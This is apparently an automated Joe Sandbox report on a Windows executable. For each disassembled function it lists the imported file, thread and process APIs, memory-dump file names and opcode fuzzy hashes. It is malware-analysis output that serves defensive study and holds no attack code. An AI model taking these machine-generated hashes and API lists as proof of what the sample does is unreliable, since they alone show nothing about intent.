APIs

CreateThread.KERNELBASE ref: 00007FF65593EAE0
SetThreadPriority.KERNEL32 ref: 00007FF65593EB36

Strings

CreateThread failed, xrefs: 00007FF65593EAEE

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Thread$CreatePriority
String ID: CreateThread failed
API String ID: 2610526550-3849766595
Opcode ID: cf4f3858e1c5421656891f758a667cd72a6f2059ba57d4f8d940dbc9b5e0f540
Instruction ID: 4657660e10cb2e9476378d9effe649004b02a5a768ea67cda42cefaf0fb8ff56
Opcode Fuzzy Hash: cf4f3858e1c5421656891f758a667cd72a6f2059ba57d4f8d940dbc9b5e0f540
Instruction Fuzzy Hash: 74118239A08B82C1E701DB11E8492A97375FB84F9CF5C4135D64DA266ADF7CED45C740

Function 00007FF65594946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65593DFD0: GetSystemDirectoryW.KERNEL32 ref: 00007FF65593DDDF

OleInitialize.OLE32 ref: 00007FF655949486
SHGetMalloc.SHELL32 ref: 00007FF6559494D4

Strings

riched20.dll, xrefs: 00007FF655949475

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: DirectoryInitializeMallocSystem
String ID: riched20.dll
API String ID: 174490985-3360196438
Opcode ID: b1936b3f38021c99ecd6522b050f6163774a90ef7a51b133bb98bdb322c125e4
Instruction ID: ddefe312c4186673cb947d390c5512c8fe8be86ede68ce1df862f807e7eda0b9
Opcode Fuzzy Hash: b1936b3f38021c99ecd6522b050f6163774a90ef7a51b133bb98bdb322c125e4
Instruction Fuzzy Hash: B0F04F79618B8182EB009F60F45816EB3A0FF88B58F480135E98E92B55DF7CE95DCB01

Function 00007FF65594095C Relevance: 4.7, APIs: 3, Instructions: 152windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65594853C: GlobalMemoryStatusEx.KERNEL32 ref: 00007FF65594856C

Part of subcall function 00007FF65593AAE0: LoadStringW.USER32 ref: 00007FF65593AB67
Part of subcall function 00007FF65593AAE0: LoadStringW.USER32 ref: 00007FF65593AB80

Part of subcall function 00007FF655921FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655921FFB

Part of subcall function 00007FF65592129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF655921396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559501BB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559501C1
SendDlgItemMessageW.USER32 ref: 00007FF6559501F2

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$LoadString$Concurrency::cancel_current_taskGlobalItemMemoryMessageSendStatus
String ID:
API String ID: 3106221260-0
Opcode ID: c8c725f194d89cb694611800f0512653aa46f8b12d1072cbf624302cefc19c22
Instruction ID: 7f0d5be081310b113bc31bfbd1814b851f315816433de87d4952ea0a4d2fb2ad
Opcode Fuzzy Hash: c8c725f194d89cb694611800f0512653aa46f8b12d1072cbf624302cefc19c22
Instruction Fuzzy Hash: BA51806AF0468296EB109BA5D4592FD2362AF85FCCF480135DA5DA7B97DF2CE910C340

Function 00007FF655949F4C Relevance: 4.6, APIs: 3, Instructions: 146COMMON

Download Yara Rule

APIs

SHFileOperationW.SHELL32 ref: 00007FF65594A118
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594A184
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594A18A

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$FileOperation
String ID:
API String ID: 2032784890-0
Opcode ID: f9448e0b68df36b9487d5351744c9b4894508c737912ea06c90b0eaa0ce2f209
Instruction ID: 9e20a6a7ce81743154842ca7fde4a69b0b60053851f249c26c0f3ca1f118bf75
Opcode Fuzzy Hash: f9448e0b68df36b9487d5351744c9b4894508c737912ea06c90b0eaa0ce2f209
Instruction Fuzzy Hash: B2615C7AA18B81C9EB00CF65D8982BC2362FB45B9CF444535DA5CA3B9ADF3DD955C300

Function 00007FF655921744 Relevance: 4.6, APIs: 3, Instructions: 118COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592189C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6559218A8
__std_exception_copy.LIBVCRUNTIME ref: 00007FF6559218D4

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Concurrency::cancel_current_task__std_exception_copy_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2371198981-0
Opcode ID: 2ac6193bc92ebe9b0342aa47cdff181e1f31bba5b042808f957b0d7448b23de4
Instruction ID: dbd15fcdc4e6deb7f92fcd80c93c18fa3e2e55029f55b18e7e0a5110bfa141cb
Opcode Fuzzy Hash: 2ac6193bc92ebe9b0342aa47cdff181e1f31bba5b042808f957b0d7448b23de4
Instruction Fuzzy Hash: A6411369B086C581EA049B12E98827DA355EF44FE8F584231DE7C97BD6EF3CE4A58304

Function 00007FF655932134 Relevance: 4.6, APIs: 3, Instructions: 114fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF6559321CF
CreateFileW.KERNEL32 ref: 00007FF65593223C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559322D8

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: CreateFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2272807158-0
Opcode ID: 0c3154c3ea30730f01a4f8c09a6becc7efe45a6579d5a839052cc1f3b70dbf60
Instruction ID: 7aa6bd3593677840cd66df98626437d4aa9375b515875341fb1a7e2197eb1c67
Opcode Fuzzy Hash: 0c3154c3ea30730f01a4f8c09a6becc7efe45a6579d5a839052cc1f3b70dbf60
Instruction Fuzzy Hash: C441C476A187C182EB148B55E54826DA3A1FB84FB8F185734DFAD53AD6CF3CE8908700

Function 00007FF6559223F8 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF65592243E
GetWindowTextW.USER32 ref: 00007FF655922476
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655922505

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: TextWindow$Length_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2176759853-0
Opcode ID: 7a493db6b2aa3cd2f88e086a9d80210bd8f4b3ce53d8088c5f8b34bcaf14f9b4
Instruction ID: 1d9be78faac933c7c2fae42cc5bb311f51e3d7e56c5cb99055295bcf28f37150
Opcode Fuzzy Hash: 7a493db6b2aa3cd2f88e086a9d80210bd8f4b3ce53d8088c5f8b34bcaf14f9b4
Instruction Fuzzy Hash: FB21C076A28BC181EA108B65A84817EB361FB89FD4F185235EF9D53B96CF3CD590C740

Function 00007FF655941F94 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF65594205B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF655942077
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF655942093

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID:
API String ID: 1875163511-0
Opcode ID: 3184854c0548f34c7a90d4258170e6c5642c10e35e78a0ba32f0d1228a2c41a2
Instruction ID: 632930a6ca82d0aa367f4dbc8d56ca6e7ba5f604a57a965aa8d686258a3a5eb5
Opcode Fuzzy Hash: 3184854c0548f34c7a90d4258170e6c5642c10e35e78a0ba32f0d1228a2c41a2
Instruction Fuzzy Hash: 62318116A096C691FB249714E44C3B9A3E0FB40F8CF5C4031D29DA6AAADF6CED96C301

Function 00007FF655933D34 Relevance: 4.6, APIs: 3, Instructions: 62COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,00000000,00000001,?,00007FF6559407E1), ref: 00007FF655933D5E
SetFileAttributesW.KERNEL32 ref: 00007FF655933DB0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655933E1A

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: f54af9b99a092d8e3351366c83bb5c41e52826feeb3933286249cd948367a950
Instruction ID: 23f20b842b88814b96a473fb5c9f27b6695901a63c2f974abda9a302f51c4196
Opcode Fuzzy Hash: f54af9b99a092d8e3351366c83bb5c41e52826feeb3933286249cd948367a950
Instruction Fuzzy Hash: 2821FB26A187C181EE208F29E44D2A963A1FF84F98F184230EA9D92696DF3CD944C640

Function 00007FF6559331BC Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,?,00000000,00007FF655940822), ref: 00007FF6559331E7
DeleteFileW.KERNEL32 ref: 00007FF655933237
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559332A1

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: DeleteFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3118131910-0
Opcode ID: 932ad18ef346e480087a3096a192501f062bfc4628e0a3d12bdedb18b4200694
Instruction ID: aae16c0075eef580b6cb0f8bf8c850bbcc55f7fb9e5568720541e05830f66fb0
Opcode Fuzzy Hash: 932ad18ef346e480087a3096a192501f062bfc4628e0a3d12bdedb18b4200694
Instruction Fuzzy Hash: 5921C836A187C181EE108B29F44826E63A0FF85FDCF541230EA9E96A9ADF3CD940C740

Function 00007FF6559332BC Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,00007FF65593E5B1,?,?,?,00000000,?), ref: 00007FF6559332E7
GetFileAttributesW.KERNELBASE ref: 00007FF655933334
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655933399

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: 85da30fe1743cc553a0db4a1375168b1f74b8b313009b96f55f923233ac5e066
Instruction ID: d0191de39463d9e3fd1a19a1aabd00f8602f00f7946d238e690ab54eefb2939b
Opcode Fuzzy Hash: 85da30fe1743cc553a0db4a1375168b1f74b8b313009b96f55f923233ac5e066
Instruction Fuzzy Hash: 42217476A187C181EA108B2DE44816963A1FFC9FA8F584231EA9D93BD6DF3CD944C640

Function 00007FF65595BF64 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF65595BF48), ref: 00007FF65595BF8C
TerminateProcess.KERNEL32(?,?,?,00007FF65595BF48), ref: 00007FF65595BF97
ExitProcess.KERNEL32 ref: 00007FF65595BFA6

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 44b3a526fe0d15710854bc957cc7a82f9edee4cc7420f0560de4bec5ea2a17a0
Instruction ID: 14bfdc50b2efbdddb01b5dc6003af4543bee963c9d1db9cadb46fe5e23753ea7
Opcode Fuzzy Hash: 44b3a526fe0d15710854bc957cc7a82f9edee4cc7420f0560de4bec5ea2a17a0
Instruction Fuzzy Hash: D0E0122CA0478546EA546B2158693B913926F55F4AF184438DC0E92397CF3DAC1D4640

Function 00007FF65592F578 Relevance: 3.2, APIs: 2, Instructions: 193COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592F895
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65592F89B

Part of subcall function 00007FF655933EC8: FindClose.KERNELBASE(?,?,00000000,00007FF655940811), ref: 00007FF655933EFD

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseFind
String ID:
API String ID: 3587649625-0
Opcode ID: 8b88dc6aee5f75cd0ed49939a50d5e880870ec1b9edbe9d6c08afce2113f0c83
Instruction ID: 0b21a0f7d9b05405bc518c5a4b5865c3c4f8c4b4140f1f7ab1a6e9a166d028ff
Opcode Fuzzy Hash: 8b88dc6aee5f75cd0ed49939a50d5e880870ec1b9edbe9d6c08afce2113f0c83
Instruction Fuzzy Hash: EF91C337A18BC180EB10DB64D8491AD6361FB84B9CF884135EA5D67AEADF7CD985C300

Function 00007FF655923904 Relevance: 3.1, APIs: 2, Instructions: 124COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655923AB3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655923AB9

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 1f58a31ba4ee0f4005a0c8d6f791800edb2061577446e7c94789ea881e83c99d
Instruction ID: fd052b9bdc91effc6f9bd2e62458895e4b7b6144a67fd375f40be006b6347df4
Opcode Fuzzy Hash: 1f58a31ba4ee0f4005a0c8d6f791800edb2061577446e7c94789ea881e83c99d
Instruction Fuzzy Hash: 6D41A26AF1869185FB00DBB1D8492AD2361AF45FDCF585235DE1DB7A9BDF3CD8828200

Function 00007FF655932778 Relevance: 3.1, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000002,?,00000F99,?,00007FF65593274D), ref: 00007FF6559328A9
GetLastError.KERNEL32(?,00007FF65593274D), ref: 00007FF6559328B8

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 043a82e8aff847b2e282b78885e55c7214a93c585b530bdf19c19deffc600893
Instruction ID: a19ff644435ef3af37d8652698285d264f78fa1911497c1787d749ea32fc70fe
Opcode Fuzzy Hash: 043a82e8aff847b2e282b78885e55c7214a93c585b530bdf19c19deffc600893
Instruction Fuzzy Hash: 5131A73AB196D2C2EE604B6AD9486B5A390AF04FDCF1D4131DE5DA7792DF3CEC418640

Function 00007FF6559222BC Relevance: 3.1, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF6559222F1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6559223F0

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Item_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1746051919-0
Opcode ID: 3846a219fa003ef6eba4311ff2349970a98922bd5935619b32e66c41ec2b6e9c
Instruction ID: d29fb0e88add09353f007cd2b356515714287ffa6a3c8613c896b1e050d69664
Opcode Fuzzy Hash: 3846a219fa003ef6eba4311ff2349970a98922bd5935619b32e66c41ec2b6e9c
Instruction Fuzzy Hash: FD31E326A1878181EA108B55E84836EB360EF84F98F484231EB9C57B96DF3CE9508700

Function 00007FF655932AD0 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 00007FF655932AFE
SetFileTime.KERNELBASE ref: 00007FF655932B9B

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 1f7bfd0f82637a6abdcd08aef8b442a865f6f50d97ba3a1fa7ef62b0e093425a
Instruction ID: 13ed64eda53092b5914524ede836272511c33122dea1e549199798d0a2123ac1
Opcode Fuzzy Hash: 1f7bfd0f82637a6abdcd08aef8b442a865f6f50d97ba3a1fa7ef62b0e093425a
